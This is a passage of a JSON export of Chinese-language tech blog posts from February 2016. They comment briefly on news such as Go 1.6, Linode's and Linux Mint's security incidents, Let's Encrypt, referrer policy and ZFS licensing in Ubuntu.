    "body": "在「<a href=\"https://josephscott.org/archives/2016/02/bash-handbook/\">Bash Handbook</a>」這篇看到了有人在 <a href=\"https://github.com/\">GitHub</a> 上整理了「<a href=\"https://github.com/denysdovhan/bash-handbook\">For those who wanna learn Bash</a>」。\r\n\r\n說是 Handbook，更像長篇的 Cheatsheet，帶了基本的說明讓有背景的人可以馬上了解要怎麼用...\r\n\r\n另外因為 <a href=\"https://www.gnu.org/software/bash/\">Bash</a> 是很多 shell 分支的起源，其實有不少東西對應到 <a href=\"http://www.zsh.org/\">Zsh</a> (以及其他 shell) 也是會通的，拿來複習也是不錯 :o",
    "title": "Bash Handbook (更像長篇的 Cheatsheet？)"
  },
  {
    "id": "6327",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 透過 <a href=\"https://www.riffsy.com/\">Riffsy</a> 與 <a href=\"https://giphy.com/\">Giphy</a> 的引擎支援 GIF 搜尋：「<a href=\"http://www.theverge.com/2016/2/17/11027724/twitter-gif-search-giphy-riffsy\">Twitter rolls out native GIF search powered by Giphy and Riffsy</a>」，然後 Giphy 的 Series C funding 搞了五千五百萬美金：「<a href=\"http://techcrunch.com/2016/02/16/giphy-closes-55-million-series-c-at-a-300-million-post-money-valuation/\">Giphy Closes $55 Million Series C At A $300 Million Post-Money Valuation</a>」。\r\n\r\n在「<a href=\"http://www.commitstrip.com/en/2016/02/18/gifs-you-need-to-stop-now/\">GIFs: You need to stop. Now.</a>」這則漫畫裡面把這些呼籲者的心情畫的超... XD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wwGRUn6.webp\" /><img src=\"https://i.gslin.com/imgur/wwGRUn6.jpg\" alt=\"\" /></picture>",
    "title": "大家都在喊停止支援 GIF，但反而支援度愈來愈高..."
  },
  {
    "id": "6328",
    "body": "<a href=\"https://www.ted.com/\">TED</a> 官方貼出了 <a href=\"https://en.wikipedia.org/wiki/Linus_Torvalds\">Linus</a> 在 <a href=\"https://conferences.ted.com/TED2016/\">TED2016</a> 上接受 <a href=\"https://en.wikipedia.org/wiki/Chris_Anderson_(writer)\">Chris Anderson</a> 訪問的一些記錄：「<a href=\"http://blog.ted.com/the-quotable-linus-torvalds-live-onstage-at-ted/\">The quotable Linus Torvalds, live onstage at TED</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/ZMNNPT0.jpg\" alt=\"\" />\r\n<small>Chris Anderson interviews Linus Torvalds onstage at TED2016. Photo: Bret Hartman / TED</small>\r\n\r\n不知道多久後會放出完整的影片... @_@",
    "title": "Linus 在 TED2016 上的一些記錄"
  },
  {
    "id": "6329",
    "body": "在 <a href=\"https://golang.org/\">Go</a> 的官方公告「<a href=\"https://blog.golang.org/go1.6\">Go 1.6 is released</a>」提到了把 <a href=\"https://golang.org/pkg/net/http/\">net/http</a> 的 HTTP/2 預設啟用了：\r\n\r\n<blockquote>In Go 1.6, support for HTTP/2 is enabled by default for both servers and clients when using HTTPS, bringing the benefits of the new protocol to a wide range of Go projects, such as the popular Caddy web server.</blockquote>\r\n\r\n另外值得一提的是 sort 演算法的效能改善：\r\n\r\n<blockquote>The algorithm inside <a href=\"https://golang.org/pkg/sort/#Sort\">sort.Sort</a> was improved to run about 10% faster, but the change may break programs that expect a specific ordering of equal but distinguishable elements.</blockquote>\r\n\r\n這應該算還蠻基本常用到的東西，會改善很多程式效能...",
    "title": "Go 1.6 把 HTTP/2 變成預設支援的功能"
  },
  {
    "id": "6330",
    "body": "中國因為一年只讓國民帶五萬美金出國，於是中國的富豪就想到各種方法搬移財產，其中 <a href=\"https://boingboing.net/\">Boing Boing</a> 介紹的這個方法真的頗棒的 XDDD：「<a href=\"https://boingboing.net/2016/02/18/chinese-millionaire-sues-himse.html\">Chinese millionaire sues himself through an offshore shell company to beat currency export controls</a>」。\r\n\r\n先成立一家空殼公司，然後再用空殼公司告自己的公司，藉由法院的賠償程序，避開了個人財產的轉移限制：\r\n\r\n<blockquote>But there's a better way: for a small sum, you can just set up an offshore shell company, direct it to sue a Chinese company you own, throw the lawsuit, and then, oh well, I guess there's nothing for it but to send a bunch of cash to your shell company, exempted from export controls, in the form of court-ordered damages.</blockquote>\r\n\r\n這方法 XDDD",
    "title": "中國富豪搬移財產的方法"
  },
  {
    "id": "6331",
    "body": "<a href=\"http://www.rightscale.com/\">RightScale</a> 介紹了 <a href=\"https://trackjs.com/\">TrackJS</a> 這個服務：「<a href=\"http://eng.rightscale.com/2016/02/18/why-we-use-trackjs.html\">Why do we use TrackJS</a>」。\r\n\r\n可以看發生錯誤的 stack：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ymurPuj.webp\" /><img src=\"https://i.gslin.com/imgur/ymurPuj.jpg\" alt=\"\" /></picture>\r\n\r\n有錯誤的綜合分析：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1Fp5uoT.webp\" /><img src=\"https://i.gslin.com/imgur/1Fp5uoT.jpg\" alt=\"\" /></picture>\r\n\r\n然後可以將 minified 的 JS 試著展開，讀起來會比較容易，不過沒看到對 source map 的支援？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OM4mgI1.webp\" /><img src=\"https://i.gslin.com/imgur/OM4mgI1.jpg\" alt=\"\" /></picture>\r\n\r\n價位上比 <a href=\"https://rollbar.com/\">Rollbar</a> 低不少 ($249 在 TrackJS 可以記 10M，但在 Rollbar 只能記 1.5M)，不過 Rollbar 支援的平台比較多 (台灣也有代理商可以開發票處理帳務)，也許找機會用看看 TrackJS 再決定吧。",
    "title": "RightScale 介紹的 TrackJS"
  },
  {
    "id": "6332",
    "body": "<a href=\"http://www.ebay.com/\">eBay</a> 放出了一套為了測試環境用 <a href=\"http://www.scala-lang.org/\">Scala</a> 與 <a href=\"http://netty.io/\">Netty</a> 開發的 load balancer，<a href=\"https://neutrinoslb.github.io/\">Neutrino</a>：「<a href=\"http://www.ebaytechblog.com/2016/02/17/announcing-neutrino-for-load-balancing-and-l7-switching/\">Announcing Neutrino for Load Balancing and L7 Switching</a>」。\r\n\r\n可以看到設計上加入了 log 機制，像是：\r\n\r\n<blockquote>Ability to send the traffic logs to API endpoints</blockquote>\r\n\r\n以及：\r\n\r\n<blockquote>Traffic metrics and configuration are exposed as APIs.</blockquote>\r\n\r\n<blockquote>Metrics can be easily published to Graphite. Neutrino is also extensible to push metrics to other metrics systems.</blockquote>\r\n\r\n效能不是最主要的重點，不過在 2-core VM 裡面可以有每秒 300+ requests，對測試環境應該是夠用：\r\n\r\n<blockquote>We have measured upwards of 300+ requests per second on a 2-core VM.</blockquote>\r\n\r\n還有不少特殊的功能 (大量模組化的設計)，對於測試環境應該頗好用？",
    "title": "eBay 在測試環境下的 Load Balancer：Neutrino"
  },
  {
    "id": "6333",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 寫了相當長的一篇報告說明 2015 發生的兩件安全事件，以及 2016 年年初重設密碼的行為：「<a href=\"https://blog.linode.com/2016/02/19/security-investigation-retrospective/\">Security Investigation Retrospective</a>」。\r\n\r\n結論是 Linode 沒有找出證據被攻破，但還是打算改善不少東西以確保安全性。\r\n\r\n2015 年七月曾經有一個 Linode 的客戶報案，並且向 Linode 回報帳號被入侵的問題，而後來發現是客戶帶有 2FA 資訊的手機遺失。\r\n\r\n2015 年十二月有個資安專家在分析時發現有人取得了許多服務的帳號密碼，其中有可能有 Linode 的使用者使用相同的密碼，所以通報 Linode 並且提供一些 IP 資訊，Linode 調查後發現提供的 IP 資訊有登入到 Linode 上的帳號，而這些帳號也的確都沒有啟用 2FA，而且詢問這些帳號的主人也確認了被盜用的情況。\r\n\r\n接下來 Linode 還是決定投入資源繼續研究問題，尋找外部的資安團隊來確認情況，最後得到上面提到的結論：沒有找出證據被入侵：\r\n\r\n<blockquote>The findings of our security partner’s investigation concluded there was no evidence of abuse or misuse of Linode’s infrastructure that would have resulted in the disclosure of customer credentials. Furthermore, the security partner’s assessment of our infrastructure and applications did not yield a vector that would have provided this level of access.</blockquote>\r\n\r\n在 Lish 上有發現問題，但沒有找出被使用的證據：\r\n\r\n<blockquote>Linode’s security team did discover a vulnerability in Lish’s SSH gateway that potentially could have been used to obtain information discovered on December 17, although we have no evidence to support this supposition. We immediately fixed the vulnerability.</blockquote>\r\n\r\n不過 Linode 還是決定把一些架構改掉，可以在原文看到。\r\n\r\n可以看到打算規劃類似 HSM 架構的設計，，避免密碼直接被存取。把密碼從 Salt + SHA256 (以及千次運算) 轉移到 <a href=\"https://en.wikipedia.org/wiki/Bcrypt\">bcrypt</a>。然後把 <a href=\"https://www.adobe.com/products/coldfusion\">ColdFusion</a> 寫的系統改用 <a href=\"https://www.python.org/\">Python</a> 寫。並且計畫把後台 open source 出來，讓更多人可以檢視確保安全性。",
    "title": "Linode 針對 2015 年的安全問題，以及 2016 年年初密碼重設行為的說明"
  },
  {
    "id": "6334",
    "body": "在翻「<a href=\"http://highscalability.com/blog/2016/2/19/stuff-the-internet-says-on-scalability-for-february-19th-201.html\">Stuff The Internet Says On Scalability For February 19th, 2016</a>」這邊的資料時看到這篇文章講到 <a href=\"https://www.azul.com/products/zing/\">Zing JVM</a> 大幅降低了他們在 C10M 時遇到的 latency 問題：「<a href=\"https://mrotaru.wordpress.com/2016/01/20/migratorydata-makes-its-c10m-scalability-record-more-robust-with-zing-jvm-achieve-near-1-gbps-messaging-to-10-million-concurrent-users-with-only-15-milliseconds-consistent-latency/\">Fast C10M: MigratoryData running on Zing JVM achieves near 1 Gbps messaging to 10 million concurrent users with 15 millisecond consistent latency</a>」。\r\n\r\n包括了平均值、99% 值、最大值都大幅下降：\r\n\r\n<blockquote>In this post, we show that by simply replacing the JVM with Zing JVM out-of-the-box (without any tuning), and preserving the same C10M benchmark scenario and setup, we can reduce the average latency from 61 milliseconds to under 15 milliseconds. Moreover, and more importantly, the latency spikes can be significantly reduced from 585 milliseconds to 25 milliseconds for the 99th percentile latency and from 1700 milliseconds to 126 milliseconds for the maximum latency. Therefore, every single message can be delivered, even in the worst case, with almost no delay.</blockquote>\r\n\r\n而且他們發現最高的 126ms 也不是 GC 造成的，而是 benchmark 這邊造成的：\r\n\r\n<blockquote>And so, the relatively high latency spikes we saw in the previous C10M benchmark were due to JVM’s Garbage Collection (GC). In the new benchmark, not only Zing JVM didn’t introduce high latency spikes, but based on analyzing the logs, it appears that GC effects no longer dominate latency behavior. The dramatically improved 126 ms max latency is not caused by GC but by other condition of the benchmark setup. Anyway, this max latency was so small for a web architecture that we did not spend time to determine at which level exactly it occurred.</blockquote>\r\n\r\nZing 的價錢是一台 USD$8000/year，另外也有虛擬機版本 (另外報價)，如果遇到 JVM GC 問題，看起來會是個可以花錢解決問題的方案：\r\n\r\n<blockquote>Zing® is priced on a subscription basis per server. With per-server pricing, you don’t need to worry about core counts, memory size, or number of instances deployed per server. The annualized subscription price for Zing per physical server ranges from $8000 (for a single license) to under $2000 (for orders above 1000 servers). Higher volumes and longer subscription terms will reduce the per-server price for Zing. Pricing for virtual servers is also available upon request.</blockquote>",
    "title": "商業版本的 Zing JVM 對 GC 的改善"
  },
  {
    "id": "6335",
    "body": "照慣例，<a href=\"https://www.backblaze.com/\">Backblaze</a> 每隔一段時間就會公佈最近的硬碟死亡率，在「<a href=\"https://www.backblaze.com/blog/hard-drive-reliability-q4-2015/\">Hard Drive Reliability Review for 2015</a>」的這張圖好像說明了不少事情：\r\n\r\n<img src=\"https://i.gslin.com/imgur/1c91T86.jpg\" alt=\"\" />\r\n\r\n不過分開各個容量來看，又有一些不同的地方...",
    "title": "Backblaze 分析了 2015 年的硬碟故障比率"
  },
  {
    "id": "6336",
    "body": "<a href=\"https://www.google.com/analytics/\">Google Analytics</a> 推出了 <a href=\"https://github.com/googleanalytics/autotrack\">Autotrack</a> 工具，讓開發者更容易整合：「<a href=\"http://googledevelopers.blogspot.com/2016/02/introducing-autotrack-for-analyticsjs.html\">Introducing Autotrack for analytics.js</a>」。\r\n\r\n可以看到有些地方是將 <a href=\"https://en.wikipedia.org/wiki/Unobtrusive_JavaScript\">Unobtrusive JavaScript</a> 的概念拿出來用，像是 Declarative event tracking 這邊用 data attribute：\r\n\r\n<pre>&lt;button data-event-category=\"Video\" data-event-action=\"play\"&gt;Play&lt;/button&gt;</pre>\r\n\r\n對於還沒有針對 Google Analytics 客製化整合的人都會有幫助：\r\n\r\n<blockquote>While anyone could use and benefit from autotrack, the library is primarily geared toward sites that do not customize their current analytics implementation and would like to take advantage of the features described in this article.</blockquote>\r\n\r\n<a href=\"https://github.com/\">GitHub</a> 上的說明可以看到預設了非常多常用的功能，像是 socialTracker 預設就有提供 <a href=\"https://www.facebook.com/\">Facebook</a> 與 <a href=\"https://twitter.com\">Twitter</a> (咦，你們自己家的 <a href=\"https://plus.google.com/\">Google Plus</a> 呢？)\r\n\r\n不過這個軟體有免責條款，不屬於 GA 的正式產品：\r\n\r\n<blockquote>The autotrack library is not an official Google Analytics product and is not covered by Google Analytics Premium support. Developers that choose to use this library are responsible for ensuring that their implementation meets the requirements of the Google Analytics Terms of Service and the legal obligations of their respective country.</blockquote>\r\n\r\n看起來先進很多，之後自己開發東西拿出來用用...",
    "title": "Google Analytics 推出 Autotrack 工具幫助整合"
  },
  {
    "id": "6337",
    "body": "在「<a href=\"http://bravenewgeek.com/benchmarking-message-queue-latency/\">Benchmarking Message Queue Latency</a>」這篇看到作者測了一輪 Message Queue 軟體：\r\n\r\n<blockquote>RabbitMQ (3.6.0), Kafka (0.8.2.2 and 0.9.0.0), Redis (2.8.4) pub/sub, and NATS (0.7.3)</blockquote>\r\n\r\n測試包括了從一個 9 到六個 9 的 latency (i.e. 90%、99%、99.9%、99.99%、99.999%、99.9999%)，另外也測了 message 大小帶來的效能差異。\r\n\r\n99.9% 表示 1/1000，而 99.99% 表示 1/10000，如果差距跟 90% 很大，表示系統反應時間會很不一致。另外有些 Message Queue 軟體有 disk persistence 的功能，也因為寫入資料，會看到更大的差距。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2LRWuu9.webp\" /><img src=\"https://i.gslin.com/imgur/2LRWuu9.jpg\" alt=\"\" /></picture>\r\n\r\n善用或是避開這些特性去規劃才能減少問題，像是關掉 disk persistence 之類的方法。",
    "title": "對各類 Message Queue 的效能測試"
  },
  {
    "id": "6338",
    "body": "<a href=\"http://www.linuxmint.com/\">Linux Mint</a> 官方放出警告，通知使用者網站被黑以及 ISO 被加料的資安事件：「<a href=\"http://blog.linuxmint.com/?p=2994\">Beware of hacked ISOs if you downloaded Linux Mint on February 20th!</a>」，開頭的說明：\r\n\r\n<blockquote>Hackers made a modified Linux Mint ISO, with a backdoor in it, and managed to hack our website to point to it.</blockquote>\r\n\r\n不幸中獎的人建議的步驟是先離線，然後備份資料，再用確認安全的 ISO image 重新安裝，並且修改各網站的密碼 (尤其是 mail，可以被拿來重設各種服務)：\r\n\r\n<blockquote>Put the computer offline.\r\nBackup your personal data, if any.\r\nReinstall the OS or format the partition.\r\nChange your passwords for sensitive websites (for your email in particular).</blockquote>",
    "title": "Linux Mint 網站被黑，ISO 被加料"
  },
  {
    "id": "6339",
    "body": "2006 年時因為 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的人認為 <a href=\"https://www.debian.org/\">Debian</a> 改了太多東西 (以及其他原因)，不應該使用 <a href=\"https://www.mozilla.org/firefox/\">Mozilla Firefox</a> 這個帶有商標的名稱，要求 Debian 改名 (事情的經過可以參考維基百科上的「<a href=\"https://en.wikipedia.org/wiki/Mozilla_software_rebranded_by_Debian\">Mozilla software rebranded by Debian</a>」條目)。\r\n\r\n而在九年後，最近 Mozilla 的人在 Debian 上開了一個 bug report，討論是否還需要維持 <a href=\"https://wiki.debian.org/Iceweasel\">Iceweasel</a> 這個名字：「<a href=\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=815006\">#815006 - Renaming Iceweasel to Firefox</a>」。\r\n\r\nDebian 這邊的人也提出了很多不一樣的意見 (尤其是對 Mozilla 的商標使用規範)，目前還在爭論...",
    "title": "Mozilla 的人提出討論，把 Debian 上的 Iceweasel 改名回 Firefox"
  },
  {
    "id": "6340",
    "body": "<a href=\"https://github.com/\">GitHub</a> 推出了拖拉上傳的功能：「<a href=\"https://github.com/blog/2105-upload-files-to-your-repositories\">Upload files to your repositories</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/SM02w9Q.gif\" alt=\"\" />\r\n\r\n這功能讓 programmer 以外的人更容易參與了...",
    "title": "GitHub 支援拖拉上傳並且 commit"
  },
  {
    "id": "6341",
    "body": "<a href=\"http://www.canonical.com/\">Canonical</a> 的人 (<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 背後的公司) 跟律師研究後決定採用 <code>.ko</code> 的方式 (就像 <code>nvidia.ko</code> 的方式) 納入 <a href=\"https://en.wikipedia.org/wiki/ZFS\">ZFS</a>，讓 Ubuntu 的人可以更方便使用，而不是像現在要另外手動做不少步驟：「<a href=\"http://blog.dustinkirkland.com/2016/02/zfs-licensing-and-linux.html\">ZFS Licensing and Linux</a>」。\r\n\r\n依照 Canonical 的研究，<a href=\"https://en.wikipedia.org/wiki/Common_Development_and_Distribution_License\">CDDL</a> (ZFS) 與 <a href=\"https://www.gnu.org/licenses/old-licenses/gpl-2.0.html\">GPLv2</a> (<a href=\"http://www.linux.org/\">Linux</a>) 的授權方式不同，所以可以找到方法交叉避開衝突：\r\n\r\n<blockquote>While the CDDL and GPLv2 are both \"copyleft\" licenses, they have different scope.  The CDDL applies to all files under the CDDL, while the GPLv2 applies to derivative works.\r\n\r\nThe CDDL cannot apply to the Linux kernel because zfs.ko is a self-contained file system module -- the kernel itself is quite obviously not a derivative work of this new file system.\r\n\r\nAnd zfs.ko, as a self-contained file system module, is clearly not a derivative work of the Linux kernel but rather quite obviously a derivative work of OpenZFS and OpenSolaris.  Equivalent exceptions have existed for many years, for various other stand alone, self-contained, non-GPL kernel modules.</blockquote>\r\n\r\n至於這種說法是不是成立，至少在還沒上法院認證前也還不知道... 不過看起來 Canonical 是頗有自信，打算將 ZFS 弄進 Ubuntu，上面有不少好用的東西...",
    "title": "Ubuntu 搞定 ZFS 授權問題，將直接納入系統中使用"
  },
  {
    "id": "6342",
    "body": "在 <a href=\"http://nuzzel.com/\">Nuzzel</a> 上看到老文章在討論 HTTPS 環境下因為安全性考量，而不能帶出 Referrer 的問題：「<a href=\"http://smerity.com/articles/2013/where_did_all_the_http_referrers_go.html\">Where did all the HTTP referrers go?</a>」。\r\n\r\n原文中「Fixing Referrers in HTTPS: The Meta Referrer」這邊就有提到 HTML5 meta referrer，也就是 <a href=\"https://www.w3.org/\">W3C</a> 的「<a href=\"https://w3c.github.io/webappsec-referrer-policy/\">Referrer Policy</a>」，問題是到現在還是 Draft 啊...\r\n\r\n也因為過了三年，其實 draft 裡面多了不少參數可以用：\r\n\r\n<ul>\r\n\t<li><del><code>never</code></del> 或 <code>no-referrer</code> 表示不傳。</li>\r\n\t<li><code>origin</code> 表示只傳 protocol + host 的部份，後面 path 的部份不要傳。 </li>\r\n\t<li><del><code>default</code></del> 或 <code>no-referrer-when-downgrade</code> 表示當 downgrade 時 (HTTP request 的部份) 不要傳。</li>\r\n\t<li><code>origin-when-cross-origin</code> 表示當跨站時用 <code>origin</code> 的邏輯，但本站還是用完整的路徑。</li>\r\n\t<li><del><code>always</code></del> 或是 <code>unsafe-url</code> 則是永遠都傳。</li>\r\n</ul>\r\n\r\n其中刪節號表示 W3C 不建議再使用，應該用後者比較新的。\r\n\r\n不過因為在 <a href=\"http://caniuse.com/\">Can I use</a> 上面可以看到 <a href=\"http://www.browserfordoing.com/\">Microsoft Edge</a> 只支援舊的關鍵字 (也就是刪節號的那些)，所以還是可以考慮先用舊的關鍵字，讓 Microsoft Edge 也可以被保護到：「<a href=\"http://caniuse.com/#feat=referrer-policy\">Referrer Policy</a>」。",
    "title": "HTTPS 因為安全性而不能使用 Referrer 的問題"
  },
  {
    "id": "6343",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的人試著從多個資料來源分析 Let's Encrypt 對整個網路上安全性的影響力：「<a href=\"https://tacticalsecret.com/early-impacts-of-letsencrypt/\">Early Impacts of Let's Encrypt</a>」。\r\n\r\n資料來源包括 <a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a> (CT) 記錄與 <a href=\"https://censys.io/\">censys</a> (這個網站用 <a href=\"https://www.startssl.com/\">StartSSL</a>，被我屏蔽掉了 XD)。\r\n\r\n<blockquote>But I do have access to Certificate Transparency logs, as well as other data sources like Censys.io.</blockquote>\r\n\r\n前者 CT 的部份會有嚴重的偏差，因為 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 只規定 <a href=\"https://en.wikipedia.org/wiki/Extended_Validation_Certificate\">EV certificate</a> 要送 CT log，一般的 SSL certificate 可以不送 (幾乎都沒送)，而 Let's Encrypt 發的是一般的 SSL certificate，還是有送 CT log。\r\n\r\n把資料送上 CT 是好事，但這使得 CT log 內的資料會有嚴重偏差，拿這個判斷影響力是很有問題的。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XEaSBlI.webp\" /><img src=\"https://i.gslin.com/imgur/XEaSBlI.jpg\" alt=\"\" /></picture>\r\n\r\n所以這份資料就是看看就好...",
    "title": "Let's Encrypt 對整個 SSL Certificate 的影響"
  },
  {
    "id": "6344",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 打算對影音廣告加上字幕：「<a href=\"https://www.facebook.com/business/news/Capture-attention-with-updated-features-for-video-ads-APAC\">Capture attention with updated features for video ads</a>」。\r\n\r\nFacebook 引用了 <a href=\"http://www.aw.ca/\">A&amp;W Canada</a> 的說法，重點在：\r\n\r\n<blockquote>Adding captions increased watch time by 25%.</blockquote>\r\n\r\n可以想像到目前在 timeline 上的預設值不會自動放出聲音，而加上字幕後的確會讓觀看的意願提昇一些。",
    "title": "Facebook 將會自動在影音廣告加上字幕"
  },
  {
    "id": "6345",
    "body": "在 <a href=\"https://torrentfreak.com/\">TorrentFreak</a> 上看到「<a href=\"https://torrentfreak.com/youtube-copyright-complaint-kills-harvard-professors-copyright-lecture-160217/\">YouTube Copyright Complaint Kills Harvard Professor's Copyright Lecture (Update)</a>」這篇文章提到了 <a href=\"https://www.youtube.com/\">YouTube</a> 下架了「<a href=\"https://www.youtube.com/watch?v=2GGE_ToREPw\">William Fisher, CopyrightX: Lecture 3.3, The Subject Matter of Copyright: Music</a>」這部影片。\r\n\r\n有兩件事情吸引我，第一件是，這是<a href=\"http://hls.harvard.edu/\">哈佛法學院</a>的教授 <a href=\"https://en.wikipedia.org/wiki/William_W._Fisher\">William Fisher</a> 的課程在說明音樂產業的著作權以及授權架構的線上影片，被 SME (i.e. Sony) 透過 YouTube 的 <a href=\"https://support.google.com/youtube/answer/2797370\">ContentID</a> 以侵犯版權給下架了... XDDD (瞬間把板凳給拉出來坐著等)\r\n\r\n<img src=\"https://i.gslin.com/imgur/0KfG0L5.jpg\" alt=\"\" />\r\n\r\n第二件事情是在這個影片恢復後跑去看而發現的，發現描述音樂產業的授權模式講的相當清楚 (以美國的觀點)，尤其當你身在這個產業裡 (<a href=\"https://www.kkbox.com/\">yeah yeah</a>)，要因為這些授權架構不斷的改變，去修改現有的資料庫設計以配合授權架構，就會更有感覺了。\r\n\r\n這個影片另外一個值得讀的地方在於他有手工翻譯的英文字幕可以看，有興趣看這個產業裡的各種複雜的授權架構的人，絕對值得觀看這 24 分鐘的影片：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/2GGE_ToREPw\" frameborder=\"0\" allowfullscreen></iframe>",
    "title": "音樂著作的授權架構"
  },
  {
    "id": "6346",
    "body": "看到「<a href=\"https://tools.ietf.org/html/rfc6920\">RFC 6920: Naming Things with Hashes</a>」這個，看日期是 April 2013，就在想是不是四月一號發的... 但內容看起來還頗有用的，有種 distributed web 的味道？文件裡給的範例長這樣：\r\n\r\n<pre>&lt;html&gt;\r\n &lt;head&gt;\r\n   &lt;title>ni: relative URI test&lt;/title&gt;\r\n   &lt;base href=\"ni://example.com\"&gt;\r\n &lt;/head&gt;\r\n &lt;body&gt;\r\n   &lt;p>Please check &lt;a href=\"sha-256;f4OxZX...\"&gt;this document&lt;/a&gt;.\r\n     and &lt;a href=\"sha-256;UyaQV...\"&gt;this other document&lt;/a&gt;.\r\n     and &lt;a href=\"sha-256-128;...\"&gt;this third document&lt;/a&gt;.\r\n   &lt;/p&gt;\r\n &lt;/body&gt;\r\n&lt;/html&gt;</pre>\r\n\r\n目前是 Propsed Standard，所以是怎樣呢...",
    "title": "奇怪的 RFC：Naming Things with Hashes"
  },
  {
    "id": "6347",
    "body": "日本市場是 <a href=\"https://www.airbnb.com/\">Airbnb</a> 成長最快的市場 (參考「<a href=\"http://www.bloomberg.com/news/articles/2015-11-26/airbnb-to-boost-listings-in-japan-its-fastest-growing-market\">Airbnb to Boost Japan Listings, Its Fastest-Growing Market</a>」)，也使得日本的旅館業者想透過立法手段打擊 Airbnb 這類服務：「<a href=\"http://www.bloomberg.com/news/articles/2016-02-18/fastest-growing-airbnb-market-under-threat-as-japan-cracks-down\">Airbnb Faces Major Threat in Japan, Its Fastest-Growing Market</a>」。\r\n\r\n<blockquote>Under pressure from the hotel industry and a populace concerned with the surge of foreigners in their neighborhoods, Prime Minister Shinzo Abe’s government has released guidelines for home sharing -- called minpaku in Japanese -- that could make most Airbnb rentals in the country illegal.</blockquote>\r\n\r\n不過 Airbnb 的手腕感覺上比 <a href=\"https://www.uber.com/\">Uber</a> 來的軟一點 (雖然比起其他企業還是很硬)，應該會試著以遊說的方式阻擋？",
    "title": "安倍政權打算規範民宿，使得 Airbnb 變成非法"
  },
  {
    "id": "6348",
    "body": "看起來是用 template 加上一些問題組合成的：「<a href=\"http://www.businessinsider.com/joshua-browder-bot-for-parking-tickets-2016-2\">A 19-year-old made a free robot lawyer that has appealed $3 million in parking tickets</a>」、「<a href=\"http://www.businessinsider.com/joshua-browder-saves-motorists-2-million-with-parking-appeal-website-2015-12\">A teenager has saved motorists over £2 million by creating a website to appeal parking fines</a>」。\r\n\r\n會問一些問題，然後產生一份文件讓你上訴：\r\n\r\n<blockquote>Once you sign in, a chat screen pops up. To learn about your case, the bot asks questions like \"Were you the one driving?\" and \"Was it hard to understand the parking signs?\" It then spits out an appeal letter, which you mail to the court. If the robot is completely confused, it tells you how to contact Browder directly.</blockquote>\r\n\r\n網站名稱叫做 <a href=\"http://www.donotpay.co.uk/\">www.donotpay.co.uk</a> 也很清楚目的 XDDD",
    "title": "19 歲的英國寫了個機器人程式產生上訴文件，半年成功消滅了一億的罰單"
  },
  {
    "id": "6350",
    "body": "有了 3D Printer 後，就有人用 3D Printer 設計槍枝，而 <a href=\"https://defdist.org/\">Defense Distributed</a> 則是當中頗有名的藍圖，而作者把這份藍圖給丟出來讓大家用。\r\n\r\n<img src=\"https://i.gslin.com/imgur/prkBjfP.jpg\" alt=\"\" />\r\n\r\n<a href=\"https://zh.wikipedia.org/wiki/%E7%BE%8E%E5%9C%8B%E6%86%B2%E6%B3%95%E7%AC%AC%E4%BA%8C%E4%BF%AE%E6%AD%A3%E6%A1%88\">美國憲法第二修正案</a>保障人民持有並攜帶武器的權利不得被侵犯，但「散佈製造槍枝的方法」是否也是被第二修正案保護，則還在打官司決定：「<a href=\"http://arstechnica.com/tech-policy/2016/02/does-it-violate-federal-export-law-if-a-website-publishes-cad-files-of-firearms/\">Does it violate federal export law if a website publishes CAD files of firearms?</a>」。\r\n\r\n目前看起來要打到巡迴庭...",
    "title": "在美國「製造槍枝的方法」是否受到管制？"
  },
  {
    "id": "6352",
    "body": "我寫了一份 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的說明 (以 <a href=\"https://github.com/lukas2511/letsencrypt.sh\">letsencrypt.sh</a> 為主)，包括下載、安裝、server 設定、設定與 auto-renew。另外我也把為什麼這樣設計的想法寫在文章的後半部，這主要是在摸索自動化設定時想出來的，也許可以幫到一些人。\r\n\r\n先前註冊了 <a href=\"https://letsencrypt.tw/\">letsencrypt.tw</a>，也就拿來用了。\r\n\r\n整個網站以 <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0</a> 授權放出，希望能藉此推廣台灣使用 HTTPS。\r\n\r\n<strong>也因此希望大家多分享到其他社群網站，讓更多人可以知道這個好用的 CA 與工具。</strong>\r\n\r\n如果有任何建議，也歡迎在這篇文章下面留言。",
    "title": "把 Let's Encrypt 的說明放到 letsencrypt.tw 了"
  },
  {
    "id": "6354",
    "body": "<a href=\"https://aws.amazon.com/route53/\">Route53</a> 的 Health Check 總算支援 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication\">SNI</a> 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/02/amazon-route-53-adds-sni-support-for-https-health-checks/\">Amazon Route 53 Adds SNI Support for HTTPS Health Checks</a>」。\r\n\r\n<blockquote>With SNI and HTTPS support, you can now create health checks for secure websites that rely on SNI to serve the correct website and certificate to requests for a particular domain name.</blockquote>\r\n\r\n這功能早該出現啦，等好久了...",
    "title": "Route53 的 Health Check 支援 HTTPS SNI 了..."
  },
  {
    "id": "6356",
